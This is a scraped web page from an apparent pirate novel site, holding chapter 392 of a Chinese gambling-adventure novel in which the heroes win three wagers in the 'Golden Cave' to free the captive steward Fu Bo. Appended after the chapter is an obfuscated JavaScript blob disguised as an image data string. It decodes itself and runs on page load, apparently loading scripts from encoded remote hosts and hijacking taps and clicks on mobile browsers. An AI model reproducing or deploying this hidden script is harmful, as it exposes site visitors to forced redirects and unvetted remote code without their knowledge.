首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第392章金窟故人

    第392章金窟故人(第1/2页)
    金门在身后轰然闭合,将“赌窟”的喧嚣彻底隔绝。
    门内是另一个世界。
    如果说赌窟是冰与火的炼狱,那么金窟就是奢华到极致的宫殿——地面铺着完整的暖玉,每一块都散发着温润的光泽;墙壁包覆着金箔,雕刻着繁复的云纹龙凤;穹顶镶嵌着无数夜明珠,模拟出星河璀璨的景象。空气里弥漫着沉香与檀木混合的香气,轻柔的丝竹声从深处飘来,仿佛这里是某个王公贵族的宴客厅,而非地下赌城。
    但花痴开立刻察觉到了异常。
    太安静了。
    偌大的殿堂,除了他们自己的脚步声和呼吸声,竟听不到其他人声。两侧站立的侍从全部垂首敛目,动作整齐划一到像是傀儡。更诡异的是,他们的脸——每一张都英俊或美丽得无可挑剔,却没有任何表情,眼神空洞如木偶。
    “这些人……”小七压低声音,“都被控制了?”
    “是‘摄心术’。”菊英娥轻声说,她的手微微颤抖,“‘天局’高层才会的秘法,用药物和催眠彻底抹去人的自主意识,变成只会听令的行尸走肉。我当年……差一点就变成这样。”
    花痴开握住母亲的手。她的手很凉。
    “欢迎来到金窟。”
    一个苍老但洪亮的声音从殿堂深处传来。
    众人循声望去,只见大殿尽头的高台上,摆着一张巨大的紫檀木赌桌。桌后坐着三个人。
    左侧是个干瘦如柴的老者,穿着绣满铜钱纹样的锦袍,手里握着一把纯金算盘,正在慢悠悠地拨弄算珠——那是“财神”,天局掌管所有赌场账目的最高执事。
    右侧是个面色惨白的中年文士,一袭青衫,面前摊开一本厚厚的簿子,手中朱笔轻点——那是“判官”,负责记录所有赌局结果、裁定生死胜负。
    而中间那人……
    花痴开的呼吸停了一瞬。
    那是个看起来五十岁上下的男人,面容平凡到扔进人堆里就找不出来,唯有一双眼睛——那双眼睛像两口深井,望进去只有一片虚无。他穿着最简单的灰色布袍,手中把玩着一枚古旧的铜钱,铜钱在他指间翻飞,却始终没有发出任何声音。
    “天局北境总执事,‘无面’先生。”夜郎七的声音在花痴开耳边响起,低沉而凝重,“我找了三十年的人。”
    “夜郎兄,别来无恙。”无面开口,声音温和,甚至带着一丝笑意,“三十年了,你还是找来了。”
    “你还没死,我怎么能不来?”夜郎七向前一步,与花痴开并肩而立,“三十年前,你出卖‘千手盟’,害死我三十七个弟兄,自己摇身一变成为‘天局’的狗。这笔账,该清了。”
    “清账?”无面笑了,那笑容依然温和,却让人脊背发凉,“夜郎兄,你我都是赌桌上的人,应该知道——这世上所有的账,都要用赌局来清。”
    他手中的铜钱终于停下,被他轻轻按在赌桌上。
    铜钱直立,旋转,最后倒下——正面朝上。
    “今天,我们就来赌一局。”无面的目光扫过花痴开,“花千手的儿子,菊英娥的儿子,夜郎七的传人……有趣,太有趣了。你们一家三口,加上一条老狗,居然都凑齐了。”
    “你想赌什么?”花痴开问。
    “赌命。”无面说得轻描淡写,“但不是你们的命。”
    他拍了拍手。
    殿堂侧面的帷幕缓缓拉开,露出后面一个巨大的铁笼。笼中囚着一个人——白发凌乱,衣衫褴褛,手脚都被精钢镣铐锁住,琵琶骨上穿着两根铁钩,鲜血已经凝固成黑褐色。
    当那人抬起头时,花痴开的心脏像是被重锤击中。
    “福伯……”
    那是夜郎府的老管家,花痴开从小叫他“福爷爷”的老人。当年花痴开离开夜郎府游历时,福伯已经告老还乡,怎么会出现在这里?
    “三天前,‘天局’的人‘请’福管家来做客。”无面微笑,“夜郎兄,你应该知道,福管家不只是管家——他是你当年‘千手盟’里硕果仅存的老人,也是唯一知道‘那件事’全部真相的人。”
    夜郎七的拳头捏得咯咯作响,眼中第一次出现了真正的杀意:“你敢动他——”
    “动他?”无面摇头,“不,我要和你赌他。赌局很简单:你我各派一人,三局两胜。你们赢了,福管家还给你们,我还附赠一个消息——关于花千手真正死因的消息。你们输了……”
    他顿了顿,笑容加深:“福管家会死,你们也会死。很公平,不是吗?”
    “我们怎么知道你所谓的‘消息’是真是假?”菊英娥冷冷道。
    “问得好。”无面看向她,“菊姑娘——哦,现在该叫菊夫人了。三十年前你逃离‘天局’时,带走了半本‘天局秘录’,那上面记载着‘天局’所有高层的秘密。你应该知道,我‘无面’从不说谎,因为说谎……不符合赌桌上的美学。”
    他从怀中取出一个锦囊,抛到赌桌上。锦囊口松开,滚出一枚玉佩——通体血红,雕刻着双龙戏珠的图案。
    看到那枚玉佩,菊英娥的脸色瞬间惨白。
    “这是……”她的声音在颤抖。
    “花千手的贴身玉佩,他死时握在手中的。”无面平静地说,“玉佩内侧,刻着他最后留下的讯息。这个,够不够当赌注?”
    花痴开看向母亲。菊英娥闭上眼睛,良久,点了点头。
    “我们赌。”花痴开说。
    “爽快。”无面鼓掌,“第一局,赌‘骰’。我派‘财神’出战,你们派谁?”
    花痴开正要上前,夜郎七按住了他的肩。
    “这一局,我来。”夜郎七走到赌桌前,与财神相对而坐,“三十年没和你赌过了,‘铁算盘’。”
    财神抬起眼皮,浑浊的眼睛里闪过一丝精光:“夜郎七,当年你赢过我一次。今天,我会连本带利讨回来。”
    侍从捧上骰盅。不是普通的竹盅,而是纯黑曜石雕成,内壁光滑如镜。骰子也是黑曜石的,六面点数是镶嵌进去的碎钻,在夜明珠的光下折射出冰冷的光泽。
    “规则:三颗骰,比大小。”判官翻开簿子,朱笔悬停,“但有个小变化——骰盅内有机关,每摇一次,骰子点数会自动变化一次。你们要做的,不是听声辨位,而是计算。”
    “计算什么?”小七忍不住问。
    “计算概率。”财神笑了,露出满口黄牙,“黑曜石骰子每面的重量有细微差别,机关变化有三十六种可能,摇盅的力度会影响变化频率……所有这些变量,要在摇盅的十息之内算清楚,然后押注。这局比的不是赌术,是算力。”
    夜郎七没有说话,只是将手放在骰盅上。
    “开始。”判官说。
    财神动了。他的手指在算盘上化作一片虚影,算珠碰撞声如疾雨般响起。同时,他左手摇盅,盅内的骰子发出诡异的滚动声——那不是正常的碰撞声,而是像有无数个小齿轮在转动。
    夜郎七却没有动算盘。他闭着眼睛,手指在桌面上轻轻敲击,像是在打着某种节拍。
    五息、六息、七息……
    财神额头渗出汗水,算盘声越来越急。夜郎七却依然闭目,只有敲击桌面的手指越来越快。
    九息。
    夜郎七忽然睁眼:“我押——四、五、六,十五点大。”
    财神几乎同时喊道:“一、二、三,六点小!”
    骰盅揭开。
    三颗骰子静静躺在那里:四点,五点,六点。
    十五点大。
    财神僵住,手中的算盘“啪”地一声,算珠崩飞。
    “你……”他死死盯着夜郎七,“你怎么算出来的?我用了‘天机算’,算了所有变量,得出的结果明明是六点小!”
    “因为你算的是‘死数’。”夜郎七缓缓道,“骰盅的机关、骰子的重量、摇盅的力度……这些都是变量,但最大的变量,是人心。”
    他指向财神颤抖的手:“你在第九息时,呼吸乱了零点三秒。就这零点三秒,让摇盅的力度轻了半钱。就这半钱,让机关多转了一格。就这一格,让骰子从一、二、三,变成了四、五、六。”
    夜郎七站起身:“财神,你太依赖算盘,却忘了——赌桌上最准的算盘,是赌徒自己的心。”
    财神瘫坐在椅子上,面如死灰。
    “第一局,夜郎七胜。”判官在簿子上记下一笔,声音毫无波澜。
    无面鼓掌:“精彩。不愧是当年‘千手盟’的智囊。那么第二局——赌‘牌’。我派‘判官’出战,你们派谁?”
    菊英娥上前一步:“我来。”
    判官抬起头,惨白的脸上露出一丝诡异的笑:“菊姑娘,当年你是我亲手录入‘天局名册’的。没想到三十年过去,我们要在赌桌上重逢。”
    “少废话。”菊英娥在赌桌前坐下,“赌什么?”
    “牌九,天地人和。”判官从桌下取出一副象牙牌九,牌面温润如玉,边缘已经磨得圆滑,“规则很简单:各抽四张牌,凑成两对,比大小。但有个条件——抽牌时,必须蒙眼。”
    侍从送上两条黑绸。
    菊英娥和判官各自蒙上眼睛。
    牌九在桌上摊开,三十二张牌面朝下,排列成一个奇特的阵型——不是常见的方阵,而是一个八卦图形。
    “请。”判官说。
    两人同时伸手。
    蒙眼摸牌,靠的是手感、记忆、以及对牌九纹理的熟悉。菊英娥的手指在牌面上轻轻滑过,她记得这副牌——三十年前,她就是用它,在“天局”的入门试炼中赢了判官,获得了自由身。
    但现在,牌变了。
    不,牌还是那些牌,但牌背的纹理被人做过手脚。有些地方被刻意磨平,有些地方涂了蜡,还有些地方镶嵌了极细的金线——这是为了干扰手感,让蒙眼摸牌的人无法准确辨认。
    判官的手很稳。他显然熟悉这些改动,手指在牌面上停留的时间极短,很快就抽走了四张牌。
    菊英娥却停了下来。
    她收回手,放在膝上。
    “怎么了?”小七紧张地问。
    “他在等我。”菊英娥轻声说,蒙着眼的脸转向判官的方向,“这副牌,你准备了三十年,就为了今天赢我,对吗?”
    判官笑了:“不愧是菊姑娘。不错,自从三十年前你赢了我,我每年都会把这副牌拿出来,摸一遍,改一点。三十年了,这副牌上的每一道划痕、每一处磨损,都刻在我脑子里。而你……三十年没碰过它了吧?”
    “是的。”菊英娥承认,“但我记得它原本的样子。”
    她重新伸手,却不是去摸牌,而是解下了蒙眼黑绸。
    (本章未完,请点击下一页继续阅读)第392章金窟故人(第2/2页)
    “你犯规!”财神喝道。
    “规则只说‘抽牌时必须蒙眼’,没说‘全程蒙眼’。”菊英娥睁开眼睛,那双沉静了三十年的眼中,终于燃起了火焰,“我蒙着眼摸过了,现在,我要睁着眼抽。”
    她看牌。
    不是看牌面——牌面朝下,看不见。她看的是牌背,看那些被改动过的纹理,看那些刻意制造的干扰。
    看了三息。
    然后她出手。
    四张牌,从四个不同的方位抽出,快如闪电。
    牌落桌。
    菊英娥翻开自己的牌:天牌、地牌、人牌、和牌。
    四张最大的牌。
    判官翻开自己的牌:同样是天、地、人、和。
    平局?
    “不。”判官摇头,“你抽的是真牌,我抽的是……”
    他的牌在桌上忽然碎裂——那不是象牙,是蜡做的仿品,在空气中迅速融化,变成四滩粘稠的液体。
    “你换了牌?”阿蛮怒道。
    “赌桌上,有什么不能换?”判官坦然,“但菊姑娘,你怎么知道哪四张是真牌?”
    菊英娥拿起那张“天牌”,指尖在牌背一处极细微的凹陷上摩挲:“三十年前,我赢你那局,最后抽的就是这张天牌。抽牌时太用力,指甲在这里留下了一个印子。这个印子,你磨平了,涂了蜡,又嵌了金线……但你忘了一件事。”
    她将牌举到夜明珠下。
    光透过象牙牌身,在牌背处,那个凹陷的位置,隐约可见一个极淡的影子——那是当年指甲留下的刻痕,已经渗入骨理,无论表面如何修饰,都无法完全抹去。
    “这个影子,只有对着光,从特定的角度看,才能看到。”菊英娥放下牌,“你改动了所有能改动的地方,却改不了光透过骨头时留下的记忆。”
    判官沉默良久,忽然大笑。
    笑着笑着,眼泪流下来。
    “我输了。”他说,“三十年了,我还是输给了你。菊英娥,你走吧,带着你儿子走得越远越好……‘天局’的水,比你们想象的深。”
    “判官!”财神厉喝,“你胡说什么!”
    判官却不再理会他,只是看向无面:“总执事,我输了。按规矩,任凭处置。”
    无面看着他,叹了口气:“判官,你跟了我四十年。”
    “是。”判官跪下,“所以今日,我用这条命,还您四十年的恩情。只求您……放过他们。”
    他忽然抬手,朱笔刺向自己的咽喉。
    但笔尖在触及皮肤的瞬间,被一只手握住了。
    花痴开不知何时到了判官身边,握住了他的手腕。
    “你的命,留着。”花痴开说,“我们要赢,就要赢得堂堂正正。第三局,我来。”
    他看向无面。
    无面也在看他。
    两代人的目光在空中碰撞,仿佛有火星溅起。
    “第三局,赌什么?”花痴开问。
    无面站起身,走到铁笼前,看着笼中的福伯。
    “第三局,我们赌他。”无面说,“赌他的记忆。”
    他转身,手中不知何时多了一个瓷瓶,瓶中盛着碧绿的液体。
    “这是‘忘川水’,饮之可窥见人最深处的记忆。”无面将瓷瓶放在赌桌上,“你我各饮半杯,然后说出福管家记忆中的三个秘密。谁说的秘密更接近真相,谁赢。”
    “如果饮下之后,我们看到的记忆不同呢?”花痴开问。
    “那就是赌。”无面笑了,“赌谁看到的,才是真正的‘过去’。”
    侍从端上两个玉杯。无面将忘川水倒入杯中,碧绿的液体在玉杯中荡漾,散发出诡异的香气。
    花痴开端起一杯,看向母亲。菊英娥眼中满是担忧,却还是点了点头。
    “开儿,小心。”夜郎七低声道,“忘川水会唤醒你内心最深处的恐惧。”
    “我知道。”花痴开举杯,“但有些恐惧,总要面对。”
    他与无面同时饮尽。
    液体入喉,冰冷刺骨,随即化作一股热流,直冲脑海。
    花痴开眼前一黑。
    ---
    他看见了一场大火。
    那是三十年前的夜晚,一座山庄在烈焰中燃烧。喊杀声、惨叫声、兵刃碰撞声混杂在一起。山庄门口,一个浑身是血的男人在拼死抵抗——那是年轻时的夜郎七,手中长剑已经砍出缺口,身边倒着十几个黑衣杀手。
    “快走!”夜郎七嘶吼,“带千手走!”
    另一个身影从火中冲出,怀中抱着一个婴儿——那是花千手,胸口插着三支弩箭,却还用最后的力量护着怀中的孩子。
    “七哥……孩子……交给英娥……”花千手的声音断断续续,“告诉她……我对不起她……”
    “别说话!撑住!”夜郎七一剑劈开拦路的杀手,夺过一匹马,将花千手和孩子扶上马背,“走!”
    马冲入黑暗。
    夜郎七转身,面对追来的数十名杀手。他笑了,那笑容疯狂而绝望。
    “来啊!”他咆哮,“‘千手盟’夜郎七在此!想追我兄弟,先从我的尸体上踏过去!”
    画面骤转。
    花痴开又看见了一个密室。烛光昏暗,三个人在密谈。
    一个是无面——年轻时的无面,眼神还没有如今这般深不可测。
    一个是司马空。
    还有一个……竟然是福伯。
    “计划很顺利。”年轻的无面说,“花千手死了,夜郎七重伤逃亡,‘千手盟’覆灭。接下来,该执行第二步了。”
    福伯低着头,声音颤抖:“大人……您答应过我,只要我提供‘千手盟’的布防图,就放过我家人……”
    “放心。”司马空冷笑,“你儿子已经在江南有了新身份,这辈子衣食无忧。至于你……还需要你演最后一场戏。”
    “什么戏?”
    “回到夜郎七身边。”无面说,“他现在如同丧家之犬,需要有人‘救’他。你去救他,取得他的信任。然后,等‘天局’需要的时候……给他最后一刀。”
    福伯瘫坐在地,老泪纵横。
    画面再转。
    花痴开看见了夜郎府。年轻的夜郎七浑身缠满绷带,躺在床上昏迷不醒。福伯端着一碗药,站在床边。
    他的手指颤抖,从怀中取出一个小纸包——毒药。
    但最后,他没有打开纸包,而是将药碗重重摔在地上,跪在床边,以头抢地:“七爷……老奴对不起您……可老奴的儿子……老奴只有这一个儿子啊……”
    他哭了很久,最后擦干眼泪,重新熬了一碗药,喂夜郎七喝下。
    “从今天起,老奴这条命,就是七爷的。”福伯对昏迷的夜郎七磕了三个头,“欠‘天局’的债,老奴会还。但背叛七爷的事……老奴死也不做。”
    ---
    花痴开睁开眼。
    眼泪不受控制地流下来。
    对面,无面也睁开了眼。他的眼中第一次出现了情绪——那是震惊,甚至有一丝恐惧。
    “你看到了什么?”无面问,声音干涩。
    “我看到了三十年前的真相。”花痴开擦去眼泪,“福伯确实背叛过‘千手盟’,但他没有背叛夜郎七。他选择了用一生的忠诚,来偿还一时的罪孽。”
    他站起身,走到铁笼前,看着笼中奄奄一息的老人。
    “福爷爷。”他轻声说,“您受苦了。”
    福伯艰难地抬起头,浑浊的眼睛里流下两行泪:“小少爷……老奴……对不起花爷……对不起七爷……”
    “不。”花痴开摇头,“您对得起。三十年的守护,比一时的错误,重千万倍。”
    他转身,看向无面:“第三局,我赢了。”
    无面沉默。
    整个金窟死一般寂静。
    良久,无面长长吐出一口气:“是,你赢了。三十年了,这个秘密压在我心里三十年……今天,终于解脱了。”
    他挥手,铁笼打开,镣铐解开。小七和阿蛮冲上去,扶住福伯。
    “玉佩给你。”无面将那枚血红玉佩抛给花痴开,“花千手最后的话刻在里面:‘天局非局,赌神非神,真相在……’后面几个字被血污盖住了,需要特殊方法才能显现。我研究三十年,只破解到这一步。”
    他顿了顿,又说:“至于花千手真正的死因……不是司马空,也不是屠万仞。杀他的人,在‘天局’最高层,甚至可能……不在‘天局’之内。”
    “什么意思?”夜郎七厉声问。
    “意思是,你们以为‘天局’是终点,其实它只是起点。”无面笑了,那笑容里有疲惫,也有释然,“走吧,趁我还没改变主意。但记住——出了金窟,你们要面对的,将是‘天局’真正的獠牙。”
    他转身,走向高台后的阴影。
    “无面!”夜郎七喊道,“你为什么不逃?三十年了,你完全可以——”
    “逃?”无面的背影在阴影中停住,“夜郎兄,有些债,逃不掉。我欠‘千手盟’三十七条命,今天……该还了。”
    阴影吞没了他。
    片刻后,高台上传来一声闷响,像是什么东西倒下了。
    判官冲过去,随即发出一声悲鸣:“总执事……自尽了……”
    金窟开始震动。穹顶的夜明珠一颗颗熄灭,暖玉地面裂开缝隙。
    “他要毁了这里!”财神尖叫,“快走!”
    花痴开抱起福伯,众人向金门狂奔。
    在他们身后,金窟在崩塌,奢华化作废墟,那些被摄心术控制的侍从如木偶般呆立,被坠落的金箔和玉石掩埋。
    冲出门的瞬间,花痴开回头看了一眼。
    在最后的光亮中,他看见无面坐在高台上,手中还握着那枚铜钱,脸上带着平静的笑容。
    金门轰然闭合,将一切封存在冰雪之下。
    冰道中,众人喘息未定。
    福伯虚弱地睁开眼睛,看着花痴开,嘴唇翕动:“小少爷……玉佩……要小心……‘天局’之上……还有……”
    话未说完,他昏了过去。
    花痴开握紧手中的血红玉佩,那上面花千手的血已经干涸三十年,却依然滚烫。
    真相在何处?
    天局之上,还有什么?
    他不知道。
    但他知道,这条路,必须走下去。
    【第392章完】

一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();